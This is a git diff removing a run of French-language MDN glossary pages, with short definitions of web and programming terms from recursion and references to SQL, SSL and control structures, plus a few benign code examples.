- - diff --git "a/files/fr/glossaire/r\303\251cursion/index.html" "b/files/fr/glossaire/r\303\251cursion/index.html" deleted file mode 100644 index bf35184e73..0000000000 --- "a/files/fr/glossaire/r\303\251cursion/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Récursion -slug: Glossaire/Récursion -tags: - - CodingScripting - - Glossaire -translation_of: Glossary/Recursion ---- -

Une fonction qui agit en s'appelant elle-même. Une récursion est utilisée pour résoudre des problèmes qui contiennent des sous-problèmes plus petits. Une fonction récursive peut prendre deux entrées : un cas de base (qui met fin à la récursion) ou un cas de propagation (qui poursuit la récursion).

- -

Pour approfondir

- -

Culture générale

- - diff --git "a/files/fr/glossaire/r\303\251f\303\251rence/index.html" "b/files/fr/glossaire/r\303\251f\303\251rence/index.html" deleted file mode 100644 index bc31591a1f..0000000000 --- "a/files/fr/glossaire/r\303\251f\303\251rence/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Référence -slug: Glossaire/Référence -tags: - - Glossaire - - Programmation -translation_of: Glossary/Reference ---- -

Dans le contexte des {{glossary("object","objets")}}, une {{glossary("Object reference","référence d'objet")}}. Sur MDN, nous pourrions parler de la référence {{glossary ("JavaScript")}} elle-même.

- -

En informatique, une référence est une valeur permettant d'accéder indirectement à une donnée dans le but de récupérer une variable ou un enregistrement, soit dans la mémoire de l'ordinateur, soit sur un périphérique de stockage quelconque.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Référence (programmation)")}} sur Wikipédia
    • -
diff --git "a/files/fr/glossaire/r\303\251f\303\251rence_d_objet/index.html" "b/files/fr/glossaire/r\303\251f\303\251rence_d_objet/index.html" deleted file mode 100644 index bb4d509357..0000000000 --- "a/files/fr/glossaire/r\303\251f\303\251rence_d_objet/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Référence d'objet -slug: Glossaire/Référence_d_objet -tags: - - Glossaire - - Programmation -translation_of: Glossary/Object_reference ---- -

Un lien vers un {{glossary("objet")}}. Les références d'objet peuvent s'utiliser exactement comme des objets liés.

- -

Le concept de références d'objet apparaît lors de l'affectation d'un même objet à plus d'une {{glossary("Property","propriété")}}. Plutôt que de conserver une copie de l'objet, chacune des propriétés affectées contient la référence d'objet qui est un lien vers un même objet. Ainsi, lors de modifications de l'objet, toutes les propriétés y faisant référence reflèteront la modification.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Référence (programmation)")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/same-origin_policy/index.html b/files/fr/glossaire/same-origin_policy/index.html deleted file mode 100644 index d46dd58671..0000000000 --- a/files/fr/glossaire/same-origin_policy/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Same-origin policy -slug: Glossaire/Same-origin_policy -translation_of: Glossary/Same-origin_policy ---- -

La same-origin policy (politique de même origine) est un mécanisme de sécurité critique qui restreint la manière dont un document ou un script chargé depuis une {{Glossary("origine")}} peut interagir avec une ressource d’une autre origine. Elle aide à isoler les documents potentiellement malicieux, ce qui réduit les vecteurs d’attaque possibles.

- -

Voir Same origin policy pour plus d’informations.

- - diff --git a/files/fr/glossaire/scm/index.html b/files/fr/glossaire/scm/index.html deleted file mode 100644 index cd776d65af..0000000000 --- a/files/fr/glossaire/scm/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: SCM -slug: Glossaire/SCM -tags: - - CodingScripting - - Glossaire - - SCM -translation_of: Glossary/SCM ---- -

SCM (Source Control Management) est un système de gestion de code source. Habituellement, il s'agit de l'utilisation de logiciels pour gérer les différentes versions des fichiers sources. Un programmeur peut modifier les fichiers de code source sans se préoccuper de l'édition de détails utiles car un SCM conserve la trace des modifications du code source et de qui a fait les modifications.

- -

Parmi les systèmes de SCM figurent CVS, SVN, GIT.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Gestion de versions")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/sctp/index.html b/files/fr/glossaire/sctp/index.html deleted file mode 100644 index db570b4cb3..0000000000 --- a/files/fr/glossaire/sctp/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: SCTP -slug: Glossaire/SCTP -tags: - - Glossaire - - Infrastructure - - Protocoles -translation_of: Glossary/SCTP ---- -

SCTP (Stream Control Transmission {{glossary("Protocol")}}) est un standard {{Glossary ("IETF")}} pour un protocole de transport qui permet la transmission fiable et en ordre des messages tout en offrant un contrôle d'encombrement, de multiples autoguidages et d'autres fonctionnalités pour améliorer la fiabilité et la stabilité de la connexion. Il est utilisé pour envoyer des appels téléphoniques traditionnels sur Internet, mais il est également utilisé pour les données {{Glossary("WebRTC")}}.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{RFC(4960, "Stream Control Transmission Protocol")}}
    • -
  • {{Interwiki("wikipedia","Stream_Control_Transmission_Protocol","Stream Control Transmission Protocol")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/sdp/index.html b/files/fr/glossaire/sdp/index.html deleted file mode 100644 index cf708be673..0000000000 --- a/files/fr/glossaire/sdp/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: SDP -slug: Glossaire/SDP -tags: - - Avancé - - Collaboratif - - Glossaire - - Infrastructure - - WebRTC - - protocole -translation_of: Glossary/SDP ---- -

SDP (Session Description {{glossary("Protocol")}}) est le standard décrivant une connexion {{Glossary("P2P","pair-à-pair")}}. SDP contient le {{Glossary("codec")}}, l'adresse source, et des informations temporelles pour l'audio et la vidéo.

- -

Voici un message SDP typique :

- -
   v=0
-   o=alice 2890844526 2890844526 IN IP4 host.anywhere.com
-   s=
-   c=IN IP4 host.anywhere.com
-   t=0 0
-   m=audio 49170 RTP/AVP 0
-   a=rtpmap:0 PCMU/8000
-   m=video 51372 RTP/AVP 31
-   a=rtpmap:31 H261/90000
-   m=video 53000 RTP/AVP 32
-   a=rtpmap:32 MPV/90000
- -

SDP n'est jamais employé seul, mais des protocoles comme {{Glossary("RTP")}} et {{Glossary("RTSP")}} l'utilisent. SDP est également un composant de {{Glossary("WebRTC")}}, ce dernier se servant de SDP pour décrire une session.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • Protocoles WebRTC
    • -
  • {{Interwiki("wikipedia", "Session Description Protocol")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/seo/index.html b/files/fr/glossaire/seo/index.html deleted file mode 100644 index a6126f19de..0000000000 --- a/files/fr/glossaire/seo/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: SEO -slug: Glossaire/SEO -tags: - - Glossaire - - Mécanismes web - - Recherches - - Visibilité -translation_of: Glossary/SEO ---- -

SEO (Search Engine Optimization ou, en français, Optimisation pour les moteurs de recherche) est le processus permettant de rendre un site web plus visible dans les résultats de recherche, également appelé amélioration des classements de recherche.

- -

Les moteurs de recherche explorent le web, suivant les liens de page en page, et indexent le contenu trouvé. Lorsque vous effectuez une recherche, le moteur de recherche affiche le contenu indexé. Les parcours suivent des règles. Si vous suivez ces mêmes règles de près lors du référencement d'un site web, vous donnez au site les meilleures chances d'apparaître parmi les premiers résultats, augmentant le trafic et éventuellement les revenus (pour le commerce électronique et les publicités).

- -

Les moteurs de recherche donnent quelques lignes directrices pour le référencement, mais les gros moteurs de recherche gardent le classement des résultats comme un secret commercial. SEO combine les directives officielles des moteurs de recherche, les connaissances empiriques et les connaissances théoriques tirées de documents scientifiques ou de brevets.

- -

Les méthodes de SEO se répartissent en trois grandes classes :

- -
-
technique
-
Marque le contenu en utilisant la sémantique {{Glossary("HTML")}}. Lors de l'exploration du site Web, les robots d'exploration ne doivent trouver que le contenu que vous souhaitez indexer.
-
copie-l'écriture (copywriting)
-
Ecrit du contenu en utilisant le vocabulaire de vos visiteurs. Utilise du texte ainsi que des images pour que les robots puissent comprendre le sujet.
-
popularité
-
Vous obtenez plus de trafic lorsque d'autres sites établis pointent vers votre site.
-
- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Optimisation_pour_les_moteurs_de_recherche","Optimisation pour les moteurs de recherche")}} sur Wikipedia
    • -
- -

Apprendre SEO

- -
    -
  • Google Webmasters propose de l'aide aux webmasters pour être visible sur le web (documentation et outils)
    • -
diff --git a/files/fr/glossaire/serveur/index.html b/files/fr/glossaire/serveur/index.html deleted file mode 100644 index 8033dfcb5a..0000000000 --- a/files/fr/glossaire/serveur/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Serveur -slug: Glossaire/Serveur -tags: - - Glossaire - - Infrastructure - - Réseau - - Serveur - - protocole -translation_of: Glossary/Server ---- -

Un serveur matériel est un ordinateur partagé sur un réseau qui fournit des services à des clients. Un serveur logiciel est un programme qui fournit des services à des programmes clients.

- -

Les services sont généralement fournis sur des réseaux locaux ou sur des réseaux étendus. Un programme client et un programme serveur se connectent habituellement en s'échangeant des messages codés en utilisant un {{glossary("Protocol","protocole")}}.

- -

Les serveurs les plus courants sur les réseaux locaux sont les serveurs de fichiers, de noms, de courrier électronique, d'impression et de fax. Un serveur Web connecté à Internet est un autre exemple de serveur classique. Les mini-ordinateurs, les mainframes et les super-ordinateurs des datacenters sont aussi des serveurs.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/serveur_proxy/index.html b/files/fr/glossaire/serveur_proxy/index.html deleted file mode 100644 index 03613f24b5..0000000000 --- a/files/fr/glossaire/serveur_proxy/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Serveur proxy -slug: Glossaire/Serveur_proxy -tags: - - Glossaire - - Proxy - - Serveur -translation_of: Glossary/Proxy_server ---- -

Un serveur proxy (ou "serveur mandataire" en français) est un programme intermédiaire, ou un ordinateur, utilisé lors de la navigation sur différents réseaux d'Internet. Il facilite l'accès au contenu sur le World Wide Web. Un mandataire reçoit les demandes et retourne les réponses ; il peut transmettre les requêtes ou non (par exemple dans le cas d'un cache), et il peut les modifier (par exemple changer les en-têtes à la frontière entre deux réseaux).

- -

Un proxy peut être sur l'ordinateur local de l'utilisateur, ou n'importe où entre l'ordinateur de l'utilisateur et un serveur de destination sur Internet. En général, il existe deux types principaux de serveurs proxy :

- -
    -
  • Un proxy direct qui gère les demandes depuis et vers n'importe où sur Internet.
    • -
  • Un proxy inverse prenant des requêtes d'Internet et les transmettant aux serveurs d'un réseau interne.
    • -
- -

En apprendre plus

- - diff --git a/files/fr/glossaire/serveur_web/index.html b/files/fr/glossaire/serveur_web/index.html deleted file mode 100644 index af1540e5de..0000000000 --- a/files/fr/glossaire/serveur_web/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Serveur Web -slug: Glossaire/Serveur_Web -tags: - - serveur web - - serveur-web -translation_of: Glossary/Web_server ---- -

Un serveur Web est un logiciel qui s'exécute souvent sur un serveur matériel offrant un service à un utilisateur, généralement appelé client. Un serveur, par contre, est un matériel qui vit dans une pièce remplie d'ordinateurs, communément appelée centre de données.

- - diff --git a/files/fr/glossaire/shim/index.html b/files/fr/glossaire/shim/index.html deleted file mode 100644 index afdb055a85..0000000000 --- a/files/fr/glossaire/shim/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Shim -slug: Glossaire/Shim -tags: - - Encodage - - Glossaire -translation_of: Glossary/Shim ---- -

Un shim est un morceau de code utilisé pour corriger le comportement du code qui existe déjà, généralement en ajoutant une nouvelle API qui contourne le problème. Cela diffère d'un {{Glossary("polyfill")}} qui implémente une nouvelle API non supportée par le navigateur de stock tel qu'il est livré.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Shim (computing)", "Shim")}} sur Wikipedia (en)
    • -
diff --git a/files/fr/glossaire/signature/fonction/index.html b/files/fr/glossaire/signature/fonction/index.html deleted file mode 100644 index 68f26990b6..0000000000 --- a/files/fr/glossaire/signature/fonction/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Signature (fonctions) -slug: Glossaire/Signature/Fonction -tags: - - Glossaire - - Java - - JavaScript - - Programmation -translation_of: Glossary/Signature/Function ---- -

Une signature de fonction (ou signature de type, ou signature de méthode) définit les entrées et sorties des {{Glossary("Function", "fonctions")}} et des {{Glossary("Method", "méthodes")}}.

- -

Une signature peut comporter :

- -
    -
  • Des {{Glossary("Parameter", "paramètres")}} et leurs {{Glossary("Type", "types")}}
    • -
  • une valeur et un type de retour
    • -
  • des {{Glossary("Exception", "exceptions")}} susceptibles d'être déclenchées ou reçues
    • -
  • des informations sur la disponibilité de la méthode dans un programme {{Glossary("OOP", "orienté objet")}} (telles que les mots-clés public, static, ou prototype).
    • -
- -

En détail

- -

Signatures en JavaScript

- -

{{Glossary("JavaScript")}} est un langage à typage faible et dynamique. Cela signifie que vous n'avez pas à déclarer le type d'une variable à l'avance. Il sera déterminé automatiquement pendant le traitement du programme. Une signature en JavaScript peut vous apporter certaines informations sur la méthode :

- -
MonObjet.prototype.maFonction(valeur)
- -
    -
  • La méthode est installée sur un {{Glossary("Object","objet")}} appelé MonObjet.
    • -
  • La méthode est installée sur le prototype de MonObjet (c'est par conséquent une {{Glossary("Method","méthode")}} d'instance) par opposition à une {{Glossary("Method","méthode")}} statique.
    • -
  • Le nom de la méthode est maFonction.
    • -
  • La méthode accepte un paramètre appelé valeur et n'est pas définie.
    • -
- -

Signatures en Java

- -

En {{Glossary("Java")}}, les signatures servent à identifier les méthodes et les classes au niveau du code de la machine virtuelle. Vous devez déclarer les types des variables dans votre code Java afin de pouvoir l'exécuter. Java est à typage fort et vérifiera que chaque paramètre est correct au moment de la compilation.

- -
public static void main(String[] args)
- -
    -
  • Le mot-clé public est un modificateur d'accessibilité et indique que cette méthode peut être appelée par n'importe quel objet.
    • -
  • Le mot-clé static indique qu'il s'agit d'une méthode de classe, et pas de son opposé, à savoir une méthode d'instance.
    • -
  • Le mot-clé void indique que cette méthode n'a pas de valeur de retour.
    • -
  • Le nom de la méthode est main.
    • -
  • La méthode accepte un paramètre de type tableau de chaînes. Il est nommé args.
    • -
- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Signature de type#Java", "Signatures de type interne en Java")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/signature/index.html b/files/fr/glossaire/signature/index.html deleted file mode 100644 index 2d3784ee3d..0000000000 --- a/files/fr/glossaire/signature/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Signature -slug: Glossaire/Signature -tags: - - Glossaire - - Homonymie -translation_of: Glossary/Signature ---- -

Le terme signature peut avoir plusieurs significations selon le contexte. Il peut s'agir de :

- -

{{GlossaryDisambiguation}}

- -

Pour approfondir

- -
    -
  • {{Interwiki("wikipedia", "Signature_(homonymie)", "Signature")}} sur Wikipédia
    • -
diff --git "a/files/fr/glossaire/signature/s\303\251curit\303\251/index.html" "b/files/fr/glossaire/signature/s\303\251curit\303\251/index.html" deleted file mode 100644 index 6c3de48518..0000000000 --- "a/files/fr/glossaire/signature/s\303\251curit\303\251/index.html" +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Signature (sécurité) -slug: Glossaire/Signature/Sécurité -tags: - - Confidentialité - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Signature/Security ---- -

Une signature, ou signature numérique, est un {{glossary("protocol","protocole")}} montrant l'authenticité d'un message.

- -

À partir du {{glossary("hash")}} d'un message donné, le processus de signature génère d'abord une signature numérique liée à l'entité qui effectue la signature, en utilisant la {{glossary("clé")}} privée de l'entité.

- -

À la réception du message, le processus de vérification

- -
    -
  • authentifie l'émetteur - utilise la clé publique de l'émetteur pour {{glossary("decryption","déchiffrer")}} la signature et récupérer le hash qui ne peut être créer qu'avec la clé privée de l'émetteur, et
    • -
  • contrôle l'intégrité du message - compare le hash avec celui nouvellement calculé à partir du document reçu (les deux hashs seront différents si le document a été falsifié)
    • -
- -

Le système échoue si la clé privée est compromise ou si le destinataire donne trompeusement une fausse clé publique.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Signature numérique")}} sur Wikipédia
    • -
  • Voir {{glossary("digest")}}, {{glossary("encryption")}}
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/simd/index.html b/files/fr/glossaire/simd/index.html deleted file mode 100644 index 5a1beb0422..0000000000 --- a/files/fr/glossaire/simd/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: SIMD -slug: Glossaire/SIMD -tags: - - CodingScripting - - Glossaire - - JavaScript -translation_of: Glossary/SIMD ---- -

SIMD (prononcé "seem-dee") est l'acronyme de Single Instruction/Multiple Data (instruction unique/données multiples) qui est une des {{Interwiki("wikipedia","Taxinomie_de_Flynn","catégories d'architecture d'ordinateurs")}}. SIMD permet à une même opération d'être réalisée sur plusieurs données, ce qui résulte en une parallélisation au niveau des données et par conséquent apporte un gain de performances, par exemple dans le traitement de graphismes 3D ou vidéo, dans les simulations physiques ou la cryptographie et d'autres domaines encore.

- -

Voir aussi {{Glossary("SISD")}} qui est une architecture séquentielle sans parallélisme, que ce soit pour le jeu d'instructions ou les données.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{jsxref("Objets_globaux/SIMD","SIMD en JavaScript","","true")}}
    • -
  • {{Interwiki("wikipedia", "SIMD")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/sisd/index.html b/files/fr/glossaire/sisd/index.html deleted file mode 100644 index 00976a4d8b..0000000000 --- a/files/fr/glossaire/sisd/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: SISD -slug: Glossaire/SISD -tags: - - CodingScripting - - Glossaire -translation_of: Glossary/SISD ---- -

SISD signifie Single Instruction/Single Data et est une des {{Interwiki("wikipedia","Taxinomie_de_Flynn","catégories d'architecture des ordinateurs")}}. Avec une architecture SISD, un processeur unique exécute une instruction unique et opère sur un flux de données unique en mémoire.

- -

Voir aussi {{Glossary("SIMD")}} pour une architecture parallèle qui permet d'effectuer une même opération sur plusieurs données.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "SISD")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/site/index.html b/files/fr/glossaire/site/index.html deleted file mode 100644 index 99b69d68b3..0000000000 --- a/files/fr/glossaire/site/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Site -slug: Glossaire/Site -tags: - - Glossaire - - Sécurité - - WebMécanique -translation_of: Glossary/Site ---- -

Le site d'un élément de contenu Web est déterminé par le domaine enregistrable de l'hôte au sein de l'origine. Ceci est calculé en consultant une liste de suffixes publics pour trouver la partie de l'hôte qui est comptée comme suffixe public (par exemple, com, org ou co.uk).

- -

Le concept de site est utilisé dans les cookies SameSite, ainsi que dans la politique de ressources inter-origines d'une application Web.

- -

Exemple du même site

- - - - - - - - - - - - -
https://developer.mozilla.org/en-US/docs/
- https://support.mozilla.org/en-US/		même site car le domaine enregistrable de mozilla.org est le même
http://example.com:8080
- https://example.com		même site car le schéma et le port ne sont pas pertinents
- -

Exemples de sites différents

- - - - - - - - -
https://developer.mozilla.org/en-US/docs/
- https://example.com		pas le même site car le domaine enregistrable des deux URL diffère
- -

Spécifications

- - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('URL', '#host-same-site')}}{{Spec2('URL')}}Définition initiale
diff --git a/files/fr/glossaire/site_map/index.html b/files/fr/glossaire/site_map/index.html deleted file mode 100644 index 7f8ea08208..0000000000 --- a/files/fr/glossaire/site_map/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Site map -slug: Glossaire/Site_map -tags: - - Accessibilité - - Chercher - - Glossaire - - Site map -translation_of: Glossary/Site_map ---- -

Une site map ou sitemap est une liste de pages d'un site web, un plan du site. Les listes structurées de la page d'un site aident à l'optimisation des moteurs de recherche, en fournissant un lien aux robots d'exploration tels que les moteurs de recherche à suivre. Les site maps aident également les utilisateurs à naviguer sur le site en fournissant un aperçu du contenu d'un site en un seul coup d'œil.

diff --git a/files/fr/glossaire/sld/index.html b/files/fr/glossaire/sld/index.html deleted file mode 100644 index f660fbded1..0000000000 --- a/files/fr/glossaire/sld/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: SLD -slug: Glossaire/SLD -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/SLD ---- -

Un SLD (Second Level Domain) est un domaine qui est hiérarchiquement directement sous un {{Glossary("TLD")}}.

- -

Il est en général utilisé comme un moyen de différencier les différentes fonctions d'un serveur ou pour délimiter des zones sous un même domaine. Par exemple, www est un SLD habituellement utilisé pour indiquer le domaine qui pointe vers un serveur web.

- -

Autre exemple, dans developer.mozilla.org, le SLD developer sert à indiquer que le sous-domaine contient la section développeur du site web de mozilla.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Domaine de deuxième niveau", "SLD")}} on Wikipedia
    • -
diff --git a/files/fr/glossaire/sloppy_mode/index.html b/files/fr/glossaire/sloppy_mode/index.html deleted file mode 100644 index 3a8ecb0fb4..0000000000 --- a/files/fr/glossaire/sloppy_mode/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Sloppy mode -slug: Glossaire/Sloppy_mode -tags: - - Glossaire - - JavaScript -translation_of: Glossary/Sloppy_mode ---- -

En {{Glossary ("ECMAScript")}} 5 et plus tard, les scripts optent pour un nouveau mode strict, qui modifie la sémantique de JavaScript de plusieurs façons pour améliorer sa résilience et qui facilite la compréhension de ce qui se passe en cas de problème .

- -

Le mode normal, non-strict de JavaScript est parfois appelé sloppy mode (mode bâclé). Ce n'est pas une désignation officielle, mais vous risquez de la rencontrer si vous passez du temps à faire du code JavaScript.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • "Strict Mode" dans le chapitre 7 ("JavaScript Syntax") dans le livre Speaking JavaScript. (en)
    • -
diff --git a/files/fr/glossaire/slug/index.html b/files/fr/glossaire/slug/index.html deleted file mode 100644 index 455a3ac7cb..0000000000 --- a/files/fr/glossaire/slug/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Slug -slug: Glossaire/Slug -tags: - - Glossaire - - URL -translation_of: Glossary/Slug ---- -

Un Slug est la partie d'identification unique d'une adresse Web, généralement à la fin de l'URL. Dans le contexte de MDN, c'est la partie de l'URL qui suit "<locale>/docs/".

- -

Il peut également s'agir du dernier composant lorsqu'un nouveau document est créé sous un document parent ; par exemple, le slug de cette page est Glossary/Slug .

- -

Voir aussi

- - diff --git a/files/fr/glossaire/smtp/index.html b/files/fr/glossaire/smtp/index.html deleted file mode 100644 index 061c1a1ce4..0000000000 --- a/files/fr/glossaire/smtp/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: SMTP -slug: Glossaire/SMTP -tags: - - Collaboration - - Débutant - - Glossaire - - Infrastructure - - Partage -translation_of: Glossary/SMTP ---- -

SMTP (Simple Mail Transfer Protocol) est un {{glossary("protocol","protocole")}} utilisé pour envoyer un nouveau courriel. Tout comme POP3 et NNTP, il s'agit d'un protocole piloté par une {{Glossary("state machine","machine d'état")}}.

- -

Le protocole est relativement simple. Les principales difficultés viennent du support des divers mécanismes d'authentification (GSSAPI, CRAM-MD5, NTLM, MSN, AUTH LOGIN, AUTH PLAIN, etc.), de la gestion des réponses en cas d'erreurs, et de trouver un moyen de réagir en cas d'échec des mécanismes d'authentification (e.g., le serveur affirme prendre en charge un mécanisme, mais ne le fait pas en réalité).

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "SMTP")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/soap/index.html b/files/fr/glossaire/soap/index.html deleted file mode 100644 index 6b2350311c..0000000000 --- a/files/fr/glossaire/soap/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: SOAP -slug: Glossaire/SOAP -tags: - - Glossaire - - Infrastructure - - SOAP - - WebMechanics -translation_of: Glossary/SOAP ---- -

SOAP (Simple Object Access Protocol) est un {{glossary("Protocol","protocole")}} de transmission de données au format {{glossary('XML')}}. {{glossary('Mozilla Firefox','Firefox')}} a supprimé le support de SOAP en 2008.

- -

Pour approfondir

- -

Culture générale

- - - -

Référence technique

- - diff --git a/files/fr/glossaire/specification/index.html b/files/fr/glossaire/specification/index.html deleted file mode 100644 index 9dbdadffd0..0000000000 --- a/files/fr/glossaire/specification/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Spécification -slug: Glossaire/Specification -tags: - - Glossaire - - Normes -translation_of: Glossary/Specification ---- -

Une spécification est un document qui décrit en détail les fonctionnalités ou attributs que doit avoir un produit avant livraison. Dans le contexte de la description du web, le terme «spécification» (souvent abrégé simplement «spec») signifie généralement un document décrivant un langage, une technologie ou un  {{Glossary("API")}} qui constituent l'ensemble complet des technologies web ouvertes.

- -

Pour en savoir plus

- -

Culture génerale

- -
    -
  • {{Interwiki("wikipedia","Spécification (norme technique)", "Spécification")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/sql/index.html b/files/fr/glossaire/sql/index.html deleted file mode 100644 index b4f022607d..0000000000 --- a/files/fr/glossaire/sql/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: SQL -slug: Glossaire/SQL -tags: - - CodingScripting - - Database - - Glossary - - Sql -translation_of: Glossary/SQL ---- -

SQL (Structured Query Language) est un langage normalisé pour mettre à jour, récupérer et calculer des données dans les tables d'une base de données.

- -

Pour approfondir

- -

Connaissances Générales

-
    -
  • {{Interwiki("wikipedia", "SQL")}} sur Wikipédia
    • -
- - -

Apprendre le SQL

- - diff --git a/files/fr/glossaire/sri/index.html b/files/fr/glossaire/sri/index.html deleted file mode 100644 index ae3370ef55..0000000000 --- a/files/fr/glossaire/sri/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: SRI -slug: Glossaire/SRI -tags: - - Glossaire - - Sécurité -translation_of: Glossary/SRI ---- -

Subresource Integrity (SRI) (intégrité des sous-ressources) est une fonctionnalité de sécurité qui permet aux navigateurs de vérifier que les fichiers qu'ils récupèrent (par exemple, à partir d'un {{Glossary("CDN")}}) sont livrés sans manipulation inattendue. Cela fonctionne en vous permettant de fournir un hachage cryptographique auquel un fichier récupéré doit correspondre.

- -
-

En apprendre plus

- - -
diff --git a/files/fr/glossaire/ssl_glossary/index.html b/files/fr/glossaire/ssl_glossary/index.html deleted file mode 100644 index dee68f046a..0000000000 --- a/files/fr/glossaire/ssl_glossary/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: SSL -slug: Glossaire/SSL_Glossary -tags: - - Glossaire - - Sécurité -translation_of: Glossary/SSL ---- -

SSL (Secure Sockets Layer) est un protocole standard qui garantit que la communication entre deux applications informatiques est privée et sécurisée (ne peut être ni lue ni modifiée par des observateurs extérieurs). C'est la base du protocole {{Glossary("TLS")}}.

- -

En apprendre plus

- -

Culture générale

- -

{{Interwiki("wikipedia","Transport_Layer_Security","Transport Layer Security")}} sur Wikipedia

- -

Voir aussi

- - diff --git a/files/fr/glossaire/statement/index.html b/files/fr/glossaire/statement/index.html deleted file mode 100644 index 57c5438531..0000000000 --- a/files/fr/glossaire/statement/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Instruction -slug: Glossaire/Statement -tags: - - CodingScripting - - Débutant - - Glossaire -translation_of: Glossary/Statement ---- -

Dans un langage de programmation informatique, une instruction est une ligne de code dictant une tâche. Tout programme consiste en une séquence d'instructions.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Instruction informatique")}} sur Wikipédia
    • -
- -

Référence technique

- - - -
    -
diff --git a/files/fr/glossaire/string/index.html b/files/fr/glossaire/string/index.html deleted file mode 100644 index 3e7b9ad844..0000000000 --- a/files/fr/glossaire/string/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Chaîne de caractères -slug: Glossaire/String -tags: - - Chaîne de caractères - - Débutant - - Glossaire - - String -translation_of: Glossary/String ---- -

Dans les langages de programmation, le terme chaîne de {{Glossary("character","caractères")}} (String) est utilisé pour représenter du texte.

- -

En {{Glossary("JavaScript")}}, une chaîne de caractères est l'une des {{Glossary("Primitive", "valeurs primitives")}} et l'objet {{jsxref("String")}} est un {{Glossary("wrapper")}} enveloppant une primitive String.

- -

Pour approfondir

- -

Culture générale

- - diff --git "a/files/fr/glossaire/structure_de_contr\303\264le/index.html" "b/files/fr/glossaire/structure_de_contr\303\264le/index.html" deleted file mode 100644 index e308d5ef62..0000000000 --- "a/files/fr/glossaire/structure_de_contr\303\264le/index.html" +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Structure de contrôle -slug: Glossaire/Structure_de_contrôle -tags: - - Encodage - - Glossaire - - JavaScript -translation_of: Glossary/Control_flow ---- -

Les structures de contrôle déterminent l'ordre dans lequel l'ordinateur exécute les instructions d'un script.

- -

Le code est exécuté dans l'ordre de la première ligne du fichier jusqu'à la dernière ligne, sauf si l'ordinateur parcourt une des (très fréquentes) structures qui modifie le cours d'exécution du programme, comme des conditions et des boucles. 

- -

Par exemple, imaginons un script utilisé pour valider les données saisies par l'utilisateur dans un formulaire sur une page web. Le script envoie la donnée validée, mais si l'utilisateur, disons, laisse vide un champ obligatoire, le script lui demandera de le remplir. Pour faire cela, le script utilise une structure {{Glossary("Conditional", "conditionelle")}} ou if...else, afin que le code s'exécute différemment, selon que le formulaire est complété ou non :

- -
if (champ==vide) {
-    demanderUtilisateur();
-} else {
-    envoyerForm();
-}
-
- -

